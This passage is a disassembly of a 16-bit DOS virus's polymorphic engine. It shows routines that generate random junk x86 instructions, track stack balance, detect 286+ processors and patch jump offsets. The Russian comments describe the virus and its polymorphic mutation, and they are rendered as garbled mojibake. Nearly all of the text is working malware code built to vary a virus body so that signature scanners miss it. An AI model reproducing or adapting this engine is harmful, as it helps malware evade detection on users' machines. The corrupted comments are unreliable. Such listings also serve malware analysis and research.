     04EA  B8 1D36                              mov     ax,1111h                ; ¢å®¤­®©  ¤à¥á ¢ ¢¨àãá (¤«ï
                                                                                ; ¯®á«¥¤­¥£® CALL ¨«¨ JMP)
                                data_04EB       =       word ptr $ - 2
     04ED  73 03                                jnc     short loc_04F2          ; Jump if CF=0
     04EF  E9 0088                              jmp     loc_057A                ; ᢮à ç¨¢ ¥¬ à ¡®âã £¥­¥à â®à 
                                ;------------------------------------------------------------------------------
                                ; Ž¯à¥¤¥«ï¥¬ : á⮨⠫¨ ¬¥­ïâì £à ­¨æë ®¡« á⥩ ?
     04F2                       loc_04F2:
     04F2  8B C3                                mov     ax,bx                  ; ⥪ã騩 㪠§ â¥«ì  ¤à¥á 
     04F4  2E: 3B 06 03CD                       cmp     ax,cs:data_03CD
     04F9  72 4F                                jb      short loc_054A         ; Jump if ­¨¦¥ £à ­¨æë ®¡« á⨠€

     04FB  2E: 3B 06 03E7                       cmp     ax,cs:data_03E7
     0500  73 48                                jae     short loc_054A         ; Jump if ¢ëè¥ £à ­¨æë ®¡« á⨠‚

                                                ;--------------------------
     0502  2E: 2B 06 03E2                       sub     ax,cs:data_03E2
     0507  73 27                                jnc     short loc_0530         ; Jump if ¯®¯ ¤ ¥â ¢ ®¡« áâì ‚

     0509  2E: 8B 16 03D2                       mov     dx,cs:data_03D2
     050E  3B DA                                cmp     bx,dx
     0510  73 38                                jae     short loc_054A         ; Jump if ¢ë¯ ¤ ¥â ¨§ ®¡« á⥩
                                ;----------- “áâ ­ ¢«¨¢ ¥¬ ­®¢ë¥ £à ­¨æë ®¡« á⨠"A" --------------------------
     0512  2B 54 02                             sub     dx,[si+2]              ; DX = à ááâ®ï­¨¥ ®â ⥪ã饣®
                                                                               ;  ¤à¥á  ¤® ¢¥àè¨­ë ®¡« á⨠€
     0515  8B C3                                mov     ax,bx
     0517  2E: 2B 06 03CD                       sub     ax,cs:data_03CD        ; AX = à ááâ®ï­¨¥ ®â ⥪ã饣®
                                                                               ;  ¤à¥á  ¤® ¤­  ®¡« á⨠€
                                                ; ¯®¤â¢ ¥¬ ¡«¨¦­îî £à ­¨æã
     051C  3B C2                                cmp     ax,dx
     051E  72 09                                jb      short loc_0529          ; Jump if below
     0520  8B 44 02                             mov     ax,[si+2]
     0523  2E: A3 03D2                          mov     cs:data_03D2,ax         ; ®¯ã᪠¥¬ ¢¥àå­îî £à ­¨æã
     0527  EB 21                                jmp     short loc_054A
     0529                       loc_0529:
     0529  2E: 89 1E 03CD                       mov     cs:data_03CD,bx         ; ¯®¤ë¬ ¥¬ ­¨¦­îî £à ­¨æã
     052E  EB 1A                                jmp     short loc_054A
                                ;----------- “áâ ­ ¢«¨¢ ¥¬ ­®¢ë¥ £à ­¨æë ®¡« á⨠"B" --------------------------
     0530                       loc_0530:
     0530  92                                   xchg    dx,ax
     0531  2E: A1 03E7                          mov     ax,cs:data_03E7
     0535  2B 44 02                             sub     ax,[si+2]
     0538  3B C2                                cmp     ax,dx
     053A  72 07                                jb      short loc_0543          ; Jump if below
     053C  2E: 89 1E 03E2                       mov     cs:data_03E2,bx         ; ¬¥­ï¥¬ ­¨¦­îî £à ­¨æã
     0541  EB 07                                jmp     short loc_054A
     0543                       loc_0543:
     0543  8B 44 02                             mov     ax,[si+2]
     0546  2E: A3 03E7                          mov     cs:data_03E7,ax         ; ®¯ã᪠¥¬ ¢¥àå­îî £à ­¨æã ª
                                                                                ; ­ ç «ã ¯à¥¤ë¤ã饣® ãç á⪠
                                ;------------------------------------------------------------------------------
                                ; à®¢¥àª  : ã¦­® «¨ § ¯¨á뢠âì ᬥ饭¨¥ ?
     054A                       loc_054A:
     054A  0B ED                                or      bp,bp                   ; ‚áâ ¢«ï«¨ ª®¬ ­¤ã "RET" ?
     054C  75 06                                jnz     short loc_0554          ; Jump if NO
                                                ; ¥á«¨ ¢áâ ¢«ï«¨ RET, ⮠ᬥ饭¨¥ ­¥ ­ã¦­® ...
     054E  BB 0067                              mov     bx,1111h
                                data_054F       =       word ptr $ - 2
     0551  9C                                   pushf                           ; Push flags
     0552  EB 2E                                jmp     short loc_0582        ; ®¡®©â¨ ª®¤ ¢áâ ¢«ïî騩
                                                                              ;  ᬥ饭¨¥
                                ;------------------------------------------------------------------------------
                                ; £ ¤ ¥¬ ¢ ª ª®© ®¡« á⨠("A" ¨«¨ "B") à á¯®«®£ âì ­®¢ë© ãç á⮪
     0554                       loc_0554:
     0554  E8 FDEE                              call    RND_01                 ; ¢¥à®ïâ­®áâì à ¢­®§­ ç­ ï (1/2)
     0557  2E: A1 03E7                          mov     ax,cs:data_03E7
     055B  2E: 8B 16 03E2                       mov     dx,cs:data_03E2         ; ¡ §  = ­¨¦­¨© ¯à¥¤¥« "B"
     0560  74 09                                jz      short loc_056B          ; Jump if RND = 0
     0562  2E: A1 03D2                          mov     ax,cs:data_03D2
     0566  2E: 8B 16 03CD                       mov     dx,cs:data_03CD         ; ¡ §  = ­¨¦­¨© ¯à¥¤¥« "A"
     056B                       loc_056B:
     056B  2B C2                                sub     ax,dx                   ; AX = à §¬¥à ®¡« áâ¨
     056D  2D 0003                              sub     ax,3                    ; Œ¨­¨¬ã¬ âਠ¡ ©â  ­  ª®¬ ­¤ã
                                                                                ;  ¯¥à¥å®¤  (¢ë室 )
     0570  77 03                                ja      short loc_0575          ; ¥à¥å®¤ ¥á«¨ ¡®«ìè¥ 3-å ¡ ©â
     0572  B8 0001                              mov     ax,1                    ; ’®«ìª® ¡ § (!). ¥§ á«ãç ©­®©
                                                                                ;  ª®¬¯®­¥­âë
     0575                       loc_0575:
                                                ; Ž¯à¥¤¥«ï¥¬ ¬¥áâ® à á¯®«®¦¥­¨ï ãç á⪠ ¢ ¢ë¡à ­­®© ®¡« áâ¨
     0575  E8 FDD0                              call    RND_0_AX
     0578  03 C2                                add     ax,dx             ; AX = ¡ §  + á«ãç ©­®¥ ᬥ饭¨¥
     057A                       loc_057A:
     057A  9C                                   pushf                           ; Push flags
     057B  2B C3                                sub     ax,bx             ; AX = ®â­®á¨â¥«ì­®¥ ᬥ饭¨¥
                                                                          ;        ­®¢®£® ãç á⪠ ª®¤ 
     057D  89 47 FE                             mov     [bx-2],ax         ; ‡ ¯¨á âì í⮣® ᬥ饭¨ï ¢ ª®¬ ­¤ã
                                                                          ;  ¯¥à¥å®¤ 
     0580  03 D8                                add     bx,ax             ; BX =  ¤à¥á ­®¢®£® ãç á⪠
                                ;------------------------------------------------------------------------------
                                ; Žâªà뢠¥¬ ­®¢ãî § ¯¨áì ¢ ˆ”Ž-¡«®ª¥
                                ; ”®à¬ â ¨­ä®-¡«®ª  :   dw   - à §¬¥à ãç á⪠ (=00 - Mark-end ˆ”Ž-¡«®ª )
                                ;                       dw   -  ¤à¥á ãç á⪠
                                ;                       N*db - ª®¤ë ãç á⪠
                                ;------------------------------------------------------------------------------
     0582                       loc_0582:
     0582  2E: 89 3E 04E3                       mov     cs:data_04E3,di
     0587  33 C0                                xor     ax,ax                   ; Zero register
                                ; ‘­ ç «  áç¨â ¥¬ çâ® à §¬¥à ãç á⪠ ­ã«¥¢®© (í⮦¥ ¢ á«ãç ¥ ᢥàâ뢠­¨ï
                                ; à ¡®âë £¥­¥à â®à  ï¥âáï Mark-end'®¬ ˆ”Ž-¡«®ª 
     0589  AB                                   stosw                           ; Store ax to es:[di]
     058A  8B C3                                mov     ax,bx
                                ; ‡ ¯¨è¥¬  ¤à¥á ­ ç «  ­®¢®£® ãç á⪠ £¥­¥à¨à㥬®£® ª®¤ 
     058C  AB                                   stosw                           ; Store ax to es:[di]
     058D  9D                                   popf                            ; Pop flags
     058E  73 0E                                jnc     short loc_ret_059E      ; Jump if CF=0
                                ;------------------------------------------------------------------------
                                ; ‡ ¢¥àè ¥¬ à ¡®âã ¯®«¨¬®àä­®£® ¬¥å ­¨§¬ 
                                ;------------------------------------------------------------------------
     0590  2E: 8B 3E 0A03                       mov     di,cs:data_0A03
                                ; ‡ ¯¨áì Mark-end ¢ MEM-¡«®ª
     0595  B4 FF                                mov     ah,0FFh
     0597  AB                                   stosw                           ; Store ax to es:[di]
     0598  BC 00EC                              mov     sp,1111h           ; ¢®ááâ ­ ¢«¨¢ ¥¬ á⥪
                                data_0599       =       word ptr $ - 2
     059B  B8 4000                              mov     ax,1111h           ; AX = ¯®«­ë© à §¬¥à ¯à®£à ¬¬ë
                                                                           ;       á ¢¨àãᮬ
                                data_059C       =       word ptr $ - 2
     059E                       loc_ret_059E:
     059E  C3                                   retn
                                sub_042E        endp

                                ;==========================================================================
                                ;                              SUBROUTINE
                                ;==========================================================================

     059F                       loc_059F:
     059F  80 FA 8E                             cmp     dl,8Eh                  ; cmd MOV SEG, r/m
     05A2  9C                                   pushf                           ; Push flags
     05A3  B0 00                                mov     al,0
     05A5  74 03                                jz      short loc_05AA          ; Jump if zero
     05A7  E8 FD9B                              call    RND_01                  ; ‘«®¢  ¨«¨ ¡ ©âë ?
     05AA                       loc_05AA:
     05AA  E8 009C                              call    sub_0649                ; ‡ ¯¨áì ª®¬ ­¤ë
     05AD  92                                   xchg    dx,ax
     05AE  E8 FD80                              call    RND_0_FF                ; ƒ¥­¥à æ¨ï ¡ ©â   ¤à¥á æ¨¨
     05B1  9D                                   popf                            ; Pop flags
     05B2  75 13                                jnz     short loc_05C7          ; Jump if not zero
                                ;------------------------------------------------------------------------------
     05B4  24 C7                                and     al,11000111b            ; ‚모¤ë¢ ¥¬ REG ¯®«¥
     05B6  50                                   push    ax
     05B7  E8 FD8B                              call    RND_01
     05BA  58                                   pop     ax
     05BB  74 0A                                jz      short loc_05C7          ; Jump if zero
                                ;------------------------------------------------------------------------------
     05BD  2E: 80 3E 0A25 00                    cmp     cs:data_0A25,0      ; ¥£¨áâà DS ¬®¤¨ä¨æ¨à®¢ âì ¬®¦­® ?
     05C3  74 02                                je      short loc_05C7      ; Jump if NO
     05C5  0C 18                                or      al,00011000b        ; …᫨ „€, â® { cmd MOV DS, r/m }
     05C7                       loc_05C7:
     05C7  D0 EA                                shr     dl,1                    ; ‘«®¢  ¨«¨ ¡ ©âë ?
     05C9  73 0F                                jnc     short loc_05DA          ; Jump if ¡ ©âë
                                ;------------------------------------------------------------------------------
                                ; ‚ á«ãç ¥ ®¯¥à æ¨¨ á 16-⨠¡¨â­ë¬¨ ॣ¨áâà ¬¨ ­ã¦­® ®âª¨­ãâì SP
     05CB                       loc_05CB:
     05CB  F9                                   stc                             ; Set carry flag
     05CC  9C                                   pushf                           ; Push flags
     05CD  8A E0                                mov     ah,al
     05CF  80 E4 38                             and     ah,00111000b            ; ‚뤥«¥­¨¥ ¯®«ï REG
     05D2  80 FC 20                             cmp     ah,00100000b
     05D5  75 02                                jne     short loc_05D9          ; Jump if not equal
     05D7  0C 08                                or      al,00001000b            ; ¢¬¥áâ® SP ¯®¤áâ ¢«ï¥¬ BP
     05D9                       loc_05D9:
     05D9  9D                                   popf                            ; Pop flags

                                ;==========================================================================
                                ;              *  §¡®àª  ¡ ©â   ¤à¥á æ¨¨ *
     05DA                       loc_05DA:
     05DA  9F                                   lahf                            ; Load ah from flags
     05DB  E8 006D                              call    Write_byte
     05DE  A8 C0                                test    al,11000000b            ; ‚뤥«¥­¨¥ MOD
     05E0  75 35                                jnz     short loc_0617          ; Jump if MOD <> 00
     05E2  24 07                                and     al,00000111b            ; ‚뤥«¥­¨¥ R/M
     05E4  3C 06                                cmp     al,00000110b            ; …᫨ R/M = 110 (â.¥. disp16)
                                                                                ;  â® ®¡å®¤
     05E6  74 48                                je      short loc_0630          ; Jump if equal
     05E8  9E                                   sahf                            ; Store ah into flags
     05E9  73 2B                                jnc     short loc_ret_0616      ; Jump if carry=0
                                ;--------------- ®¯à¥¤¥«¥­¨¥ ⨯  ¯à®æ¥áá®à  ----------------------------------
     05EB  54                                   push    sp
     05EC  5A                                   pop     dx
     05ED  3B D4                                cmp     dx,sp
     05EF  75 25                                jne     short loc_ret_0616      ; Jump if ¤® 286
                                ;------------------------------------------------------------------------------
     05F1  3C 07                                cmp     al,00000111b
     05F3  B4 04                                mov     ah,4
     05F5  74 0A                                jz      short loc_0601          ; Jump if zero
     05F7  3C 04                                cmp     al,00000100b
     05F9  72 1B                                jb      short loc_ret_0616      ; Jump if below
     05FB  B4 01                                mov     ah,1
     05FD  74 02                                jz      short loc_0601          ; Jump if zero
     05FF  B4 03                                mov     ah,3
     0601                       loc_0601:
     0601  28 67 FF                             sub     [bx-1],ah
     0604  E8 FD2A                              call    RND_0_FF                ; ƒ¥­¥à¨à㥬 ¡ ©â  ¤à¥á æ¨¨
     0607  24 C0                                and     al,11000000b            ; ‚뤥«ï¥¬ MOD
                                ; ¨áª«îç¨âì ॣ¨áâ஢ãî  ¤à¥á æ¨î (MOD=11)
     0609  3C C0                                cmp     al,11000000b            ; MOD = 11 ?
     060B  75 02                                jne     short loc_060F          ; Jump if no
     060D  B0 80                                mov     al,10000000b            ; ᤥ« âì MOD = 10
     060F                       loc_060F:
     060F  08 47 FF                             or      [bx-1],al
     0612  0A C0                                or      al,al                   ; Zero ?
     0614  75 01                                jnz     short loc_0617          ; Jump if not zero

     0616                       loc_ret_0616:
     0616  C3                                   retn
     0617                       loc_0617:
     0617  24 C0                                and     al,11000000b            ; ‚뤥«ï¥¬ MOD
     0619  3C 40                                cmp     al,40h
     061B  75 0F                                jne     short loc_062C          ; Jump if not equal
                                ;------------------------------------------------------------------------------
                                ; …᫨ ¯à®æ¥áá®à 286+, â® ­¥ á«¥¤ã¥â ¯®¤å®¤¨âì ª £à ­¨æ¥ ᥣ¬¥­â 
     061D                       loc_061D:
     061D  54                                   push    sp
     061E  58                                   pop     ax
     061F  3B C4                                cmp     ax,sp
     0621  B8 00FF                              mov     ax,0FFh
     0624  74 01                                jz      short loc_0627          ; Jump if zero
     0626  40                                   inc     ax
     0627                       loc_0627:
     0627  E8 FD1E                              call    RND_0_AX
     062A  EB 1F                                jmp     short loc_064B
     062C                       loc_062C:
     062C  3C 80                                cmp     al,80h
     062E  75 10                                jne     short loc_ret_0640      ; Jump if not equal
                                ;===================IM16===================================================
     0630                       loc_0630:
     0630  B8 FFFF                              mov     ax,0FFFFh
     0633  E8 FD12                              call    RND_0_AX

                                ;==========================================================================
                                Write_word      proc    near
     0636                       loc_0636:
     0636  E8 0012                              call    Write_byte
     0639  86 E0                                xchg    ah,al
     063B  E8 000D                              call    Write_byte
     063E  86 C4                                xchg    al,ah

     0640                       loc_ret_0640:
     0640  C3                                   retn
                                Write_word      endp

                                ;==========================================================================
                                ;                              SUBROUTINE
                                ;==========================================================================

                                sub_0641        proc    near
     0641  E8 FCF8                              call    RND_01234567            ; ¢ë¡à âì ॣ¨áâà
     0644  3C 04                                cmp     al,4                    ; ¥á«¨ SP, â® ®â¡à®á¨âì
     0646  75 01                                jne     short loc_0649          ; Jump if not equal
     0648  40                                   inc     ax
                                sub_0649:
     0649                       loc_0649:
     0649  0A C2                                or      al,dl                   ; OP or REG
                                ;==============================================================================
                                ; à®æ¥¤ãà  § ¯¨á¨ á­¥£¥­¨à®¢ ­­®£® ¡ ©â  ¢ ¯ ¬ïâì
                                ; DI - ⥪ã饥 ¯®«®¦¥­¨¥ ¢ ˆ”Ž-¡«®ª¥
                                ; BX - 㪠§ â¥«ì  ¤à¥á  § ¯®«­ï¥¬®£® ãç á⪠
                                ;==============================================================================
                                Write_byte:
     064B                       loc_064B:
     064B  50                                   push    ax
     064C  86 07                                xchg    [bx],al
     064E  AA                                   stosb                           ; Store al to es:[di]
     064F  58                                   pop     ax
     0650  43                                   inc     bx                      ; ¥à¥¤¢¨­ãâì 㪠§ â¥«ì  ¤à¥á 
     0651  2E: FF 06 09E0                       inc     cs:BytesWrittenCounter  ; ®¤áç¥â ª®«¨ç¥á⢠ ᣥ­¥à¨à®-
                                                                                ;  ¢ ­­ëå ¡ ©â
                                ; à®¤¢¨£ ¥¬ 㪠§ â¥«ì ˆ”Ž-¡«®ª  ¯® ¬¥à¥ £¥­¥à æ¨¨ ­®¢ëå ¡ ©â®¢
                                ; ¯®«¨¬®àä­®£® "¬ãá®à "
     0656  56                                   push    si
     0657  2E: 8B 36 04E3                       mov     si,cs:data_04E3
     065C  FF 04                                inc     word ptr [si]
     065E  5E                                   pop     si
     065F  C3                                   retn
                                sub_0641        endp

                                ;==========================================================================
                                ; €à¨ä¬¥â¨ç¥áª¨¥ ®¯¥à æ¨¨ ­  ॣ¨áâà ¬¨ ⨯  ŠŽ REG,r/m ¨§ ­ ¡®à  data_0A43
                                ;==========================================================================

                                sub_0660        proc    near
     0660  B8 000C                              mov     ax,0Ch
     0663  E8 FCE2                              call    RND_0_AX                ; AX = 00..0Bh
     0666  96                                   xchg    si,ax
     0667  2E: 8A 94 0A43                       mov     dl,cs:data_0A43[si]
     066C  E9 FF30                              jmp     loc_059F
                                sub_0660        endp

                                ;==========================================================================
                                ; Ž¯¥à æ¨¨ ¯¥à¥á뫪¨ ¢ ॣ¨áâàë
                                ;==========================================================================

                                sub_066F        proc    near
     066F  B2 B8                                mov     dl,0B8h                 ; cmd MOV REG,IM16
     0671  E8 FCD1                              call    RND_01
     0674  75 05                                jnz     short loc_067B          ; Jump if not zero
     0676  E8 FFC8                              call    sub_0641
     0679  EB B5                                jmp     short loc_0630
     067B                       loc_067B:
     067B  E8 FCBE                              call    RND_01234567            ; ‚ë¡à âì ॣ¨áâà
     067E  0C B0                                or      al,0B0h
     0680  E8 FFC8                              call    Write_byte              ; cmd MOV REG,IM8
     0683                       loc_0683:
     0683  EB 98                                jmp     short loc_061D
                                sub_066F        endp

                                ;==========================================================================
                                ; €à¨ä¬¥â¨ç¥áª¨¥ ®¯¥à æ¨¨ ­ ¤ ॣ¨áâ஬ AX(AL) ¨§ ­ ¡®à  data_0A4F
                                ;==========================================================================

                                sub_0685        proc    near
     0685  B8 000A                              mov     ax,0Ah
     0688  E8 FCBD                              call    RND_0_AX                ; AX = 00..09
     068B  96                                   xchg    si,ax
     068C  E8 FCB6                              call    RND_01                  ; ‚롨ࠥ¬ á«®¢  ¨«¨ ¡ ©âë
     068F  2E: 0A 84 0A4F                       or      al,cs:data_0A4F[si]
     0694  E8 FFB4                              call    Write_byte
     0697  0B F6                                or      si,si                   ; Zero ?
     0699  74 06                                jz      short loc_06A1          ; Jump if zero
     069B  D0 E8                                shr     al,1                    ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
     069D  72 02                                jc      short loc_06A1          ; Jump if carry Set
     069F  EB E2                                jmp     short loc_0683
     06A1                       loc_06A1:
     06A1  EB 8D                                jmp     short loc_0630
                                sub_0685        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨¨ á ᥣ¬¥­â­ë¬¨ ॣ¨áâà ¬¨ Prefix, PUSH SEGREG, POP SEGERG
                                ;==============================================================================
                                sub_06A3        proc    near
     06A3  E8 FC9C                              call    RND_012                ; —¥£® ¡ã¤¥¬ £¥­¥à¨âì ?
                                                                               ; =0 - ᥣ¬¥­â­ë© ¯à¥ä¨ªá
                                                                               ; =1 - € ¬®¦¥â ­ã¦­  ª®¬ ­¤  POP
                                                                               ; =2 - PUSH ᥣ¬¥­â­ë© ॣ¨áâà
     06A6  B2 26                                mov     dl,26h                  ; SEG Prefix (ES:,DS:,CS:,SS:)
     06A8  74 0A                                jz      short loc_06B4          ; Jump if zero
     06AA  B2 06                                mov     dl,6                    ; PUSH SEG_REG (ES/DS/CS/SS)
     06AC  48                                   dec     ax
     06AD  74 0E                                jz      short loc_06BD          ; Jump if zero
     06AF                       loc_06AF:
     06AF  2E: FF 06 06BE                       inc     cs:StackCounter         ; …᫨ ª®¬ ­¤  PUSH, â® ¤®¡ -
                                                                                ; ¢¨âì á«®¢® ¢ áç¥â稪 á⥪ 
     06B4                       loc_06B4:
     06B4  E8 FC88                              call    RND_0123                ; ¢ë¡¨à ¥¬ ᥣ¬¥­â­ë© ॣ¨áâà
     06B7  B1 03                                mov     cl,3
     06B9  D2 E0                                shl     al,cl                   ; Shift w/zeros fill
     06BB  EB 8C                                jmp     short loc_0649
                                ;------------------------------------------------------------------------------
     06BD                       loc_06BD:
     06BD  B8 0009                              mov     ax,1111h
                                StackCounter    =       word ptr $-2
     06C0  2E: 3B 06 06F3                       cmp     ax,cs:data_06F3        ; …áâì «¨ ¢ ⥪ã饩 ¯®¤¯à®£à ¬¬¥
                                                                               ; ­¥ á­ïâë¥ §­ ç¥­¨ï ¢ á⥪¥ ?
     06C5  74 E8                                je      loc_06AF               ; …’. ’®£¤  ¯®«®¦¨¬ ®¤­® á«®¢®
                                ;----------------------------------------------; „€. ’®£¤  á­¨¬¥¬ å®âì ®¤­® ---
     06C7  42                                   inc     dx                      ; cmd POP ES
     06C8  2E: FF 0E 06BE                       dec     cs:StackCounter         ; ‘­ïâì á«®¢® á® áç¥â稪  á⥪ 
     06CD  2E: 80 3E 0A25 00                    cmp     cs:data_0A25,0          ; Œ®¦­® «¨ ¬®¤¨ä¨æ¨à®¢ âì DS ?
     06D3  74 07                                je      short loc_06DC          ; Jump if NO
     06D5  E8 FC6D                              call    RND_01                  ; ’ ª çâ® ¡ã¤¥¬ ¨«¨ ­¥â ?
     06D8  74 02                                jz      short loc_06DC          ; Jump if RND=0
     06DA  B2 1F                                mov     dl,1Fh                  ; cmd POP DS
     06DC                       loc_06DC:
     06DC  92                                   xchg    dx,ax
     06DD                       loc_06DD:
     06DD  E9 FF6B                              jmp     loc_064B
                                sub_06A3        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨¨ ¨§ ­ ¡®à  data_0A5D
                                ; à¨¬¥ç ­¨¥: data_06F3 - ¯à¨ ­ã«¥¢®¬ §­ ç¥­¨¨ 㪠§ë¢ ¥â ­  ®âáãâᢨ¥
                                ;                         ­¥§ ªàëâëå ¯®¤¯à®£à ¬¬
                                ;                       - ¯à¨ ­¥­ã«¥¢®¬ §­ ç¥­¨¨ 㪠§ë¢ ¥â ­  ­ «¨ç¨¥
                                ;                         ®âªàëâëå ¯®¤¯à®£à ¬¬ ¨ ᮤ¥à¦¨â §­ ç¥­¨¥
                                ;                         áç¥â稪  á⥪  ¯à¨ ®âªàë⨨ ®ç¥à¥¤­®© ¯®¤¯à®£à ¬¬ë
                                ;==============================================================================
                                sub_06E0        proc    near
     06E0  E8 FC5F                              call    RND_012                 ; ‚¥à®ïâ­®áâì 1/2
     06E3  74 06                                jz      short loc_06EB          ; Jump if zero
     06E5  B8 0005                              mov     ax,5
     06E8  E8 FC5D                              call    RND_0_AX                ; AX = 00..04
     06EB                       loc_06EB:
     06EB  96                                   xchg    si,ax
     06EC  75 10                                jnz     short loc_06FE          ; Jump if not zero
     06EE  2E: A1 06BE                          mov     ax,cs:StackCounter
     06F2  3D 0007                              cmp     ax,1111h
                                data_06F3       =       word ptr $ - 2
     06F5  74 06                                je      short loc_06FD          ; Jump if equal
     06F7  2E: FF 0E 06BE                       dec     cs:StackCounter
     06FC  4E                                   dec     si
     06FD                       loc_06FD:
     06FD  46                                   inc     si
     06FE                       loc_06FE:
     06FE  E8 FC3B                              call    RND_01234567            ; ‚롨ࠥ¬ ॣ¨áâà
     0701  4E                                   dec     si
     0702  74 07                                jz      short loc_070B          ; Jump if zero
                                ; ¥£¨áâà SP ®â¡à®á¨âì
     0704  3C 04                                cmp     al,4
     0706  75 08                                jne     short loc_0710          ; Jump if not equal
     0708  40                                   inc     ax                      ; § ¬¥­ï¥¬ ­  BP
     0709  EB 05                                jmp     short loc_0710
     070B                       loc_070B:
     070B  2E: FF 06 06BE                       inc     cs:StackCounter         ; ¤®¡ ¢¨âì ®¤­® á«®¢® ª áç¥âç¨-
                                                                                ; ªã á⥪ 
     0710                       loc_0710:
     0710  2E: 0A 84 0A5D                       or      al,cs:data_0A5D[si]
     0715  EB C6                                jmp     short loc_06DD
                                sub_06E0        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨¨ ¨§ ­ ¡®à  data_0A61
                                ; à¨¬¥ç ­¨¥ : ‚ á«ãç ¥ ¯à®æ¥áá®à  286+ ­¥®¡å®¤¨¬® ®â¡à®á¨âì áâப®¢ë¥ ®¯¥à æ¨¨
                                ;              á® á«®¢ ¬¨, â.ª. ¥á«¨ SI ¨«¨ DI ¯à¨¬ãâ §­ ç¥­¨¥ FFFFh, â®
                                ;              ¢®§­¨ª­¥â ®¡é ï ®é¨¡ª  § é¨âë (……•Ž„ ‡€ ƒ€ˆ–“ ‘…ƒŒ…’€)
                                ;==============================================================================
                                sub_0717        proc    near
     0717  B8 0017                              mov     ax,17h
                                ;--------------- ®¯à¥¤¥«ï¥¬ ⨯ ¯à®æ¥áá®à  ------------------------------------
     071A  54                                   push    sp
     071B  5A                                   pop     dx
     071C  3B D4                                cmp     dx,sp
     071E  75 03                                jne     short loc_0723        ; Jump if ¤® 286
     0720  2D 0003                              sub     ax,3                  ; ˆ­ ç¥ ã¡à âì áâப®¢ë¥ ®¯¥à æ¨¨
     0723                       loc_0723:
     0723  E8 FC22                              call    RND_0_AX
     0726  96                                   xchg    si,ax
     0727  75 05                                jnz     short loc_072E          ; Žâá«¥¦¨¢ ¥¬ ª®¬ ­¤ã PUSHF
     0729  2E: FF 06 06BE                       inc     cs:StackCounter
     072E                       loc_072E:
     072E  2E: 8A 84 0A61                       mov     al,cs:data_0A61[si]
     0733  EB A8                                jmp     short loc_06DD          ; Write_byte
                                sub_0717        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨¨ ª®à४樨 ¨ § £à㧪¨ ¨§ ¯®àâ  á ¢¥à®ïâ­®áâìî 1/2 ª ¦¤ ï
                                ;==============================================================================
                                sub_0735        proc    near
     0735  B2 D4                                mov     dl,0D4h                 ; cmd AAM/AAD IM8
     0737  E8 FC0B                              call    RND_01                  ; á ¢¥à®ïâ­®áâìî 1/2
     073A  74 05                                jz      short loc_0741          ; Jump if zero
     073C  E8 02F7                              call    sub_0A36                ; Œ®¦¥â ¢áâ ¢¨âì NOP ?
     073F  B2 E4                                mov     dl,0E4h                 ; cmd IN AL,IM8
     0741                       loc_0741:
     0741  E8 FC01                              call    RND_01                  ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
     0744  E8 FF02                              call    sub_0649                ; ‡ ¯¨áì ª®¬ ­¤ë
     0747  E8 FBE7                              call    RND_0_FF                ; ƒ¥­¥à æ¨ï IM8
     074A  75 07                                jnz     short loc_0753          ; Jump if not zero
     074C  80 7F FF D4                          cmp     byte ptr [bx-1],0D4h
     0750  75 01                                jne     short loc_0753          ; Jump if not equal
     0752  40                                   inc     ax
     0753                       loc_0753:
     0753  EB 88                                jmp     short loc_06DD          ; Write_byte
                                sub_0735        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨ï PUSH R/M
                                ;==============================================================================
                                sub_0755        proc    near
     0755  B0 FF                                mov     al,0FFh
     0757  E8 FEF1                              call    Write_byte              ; ­ ¡®à Grp2/3
     075A  E8 FBD4                              call    RND_0_FF
     075D  24 C7                                and     al,11000111b            ; ¨§ í⮣® ­ ¡®à  ⮫쪮
     075F  0C 30                                or      al,00110000b            ; ª®¬ ­¤  PUSH
     0761  2E: FF 06 06BE                       inc     cs:StackCounter         ; ¤®¡ ¢¨âì á«®¢® ¢ áç¥â稪
     0766  F9                                   stc                             ; Set carry flag
     0767  E9 FE70                              jmp     loc_05DA
                                sub_0755        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨ï XCHG REG, R/M
                                ;==============================================================================
                                sub_076A        proc    near
     076A  E8 FBD8                              call    RND_01                  ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
     076D  0C 86                                or      al,86h
     076F  E8 FED9                              call    Write_byte
     0772  D0 E8                                shr     al,1                    ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
     0774  73 06                                jnc     short loc_077C          ; ¯¥à¥å®¤, ¥á«¨ ¡ ©âë
     0776  E8 005A                              call    sub_07D3                ; £¥­¥à¨à㥬 ¡ ©â  ¤à¥á æ¨¨
     0779                       loc_0779:
     0779  E9 FE4F                              jmp     loc_05CB                ; Žâ« ¢«¨¢ ¥¬ SP ¨ § ¯¨á뢠¥¬
                                sub_077C:
     077C                       loc_077C:
     077C  E8 0054                              call    sub_07D3                ; £¥­¥à¨à㥬 ¡ ©â  ¤à¥á æ¨¨
     077F  EB D2                                jmp     short loc_0753          ; Write_byte
                                sub_076A        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨¨ LEA, LDS, LES
                                ;==============================================================================
                                sub_0781        proc    near
     0781  E8 FBBE                              call    RND_012
     0784  75 09                                jnz     short loc_078F          ; Jump if not zero
     0786  2E: 80 3E 0A25 00                    cmp     cs:data_0A25,0          ; Œ®¦­® ¬¥­ïâì ॣ¨áâà DS ?
     078C  75 01                                jne     short loc_078F          ; Jump if YES
     078E  40                                   inc     ax                      ; …᫨ …’, â® ®âª¨¤ë¢ ¥¬ LDS
     078F                       loc_078F:
     078F  96                                   xchg    si,ax
     0790  2E: 8A 84 0A59                       mov     al,cs:data_0A59[si]
     0795  E8 FEB3                              call    Write_byte
     0798  E8 FB96                              call    RND_0_FF              ; Ž¯à¥¤¥«ï¥¬áï á ¡ ©â®¬  ¤à¥á æ¨¨
     079B  3C C0                                cmp     al,11000000b
     079D  72 02                                jb      short loc_07A1        ; Jump if below
     079F  24 3F                                and     al,00111111b          ; MOD = 00
     07A1                       loc_07A1:
     07A1  EB D6                                jmp     short loc_0779
                                sub_0781        endp

                                ;==============================================================================
                                ; €à¨ä¬¥â¨ç¥áª¨¥ ®¯¥à æ¨¨ ­ ¤ ॣ¨áâà ¬¨
                                ;==============================================================================
                                sub_07A3        proc    near
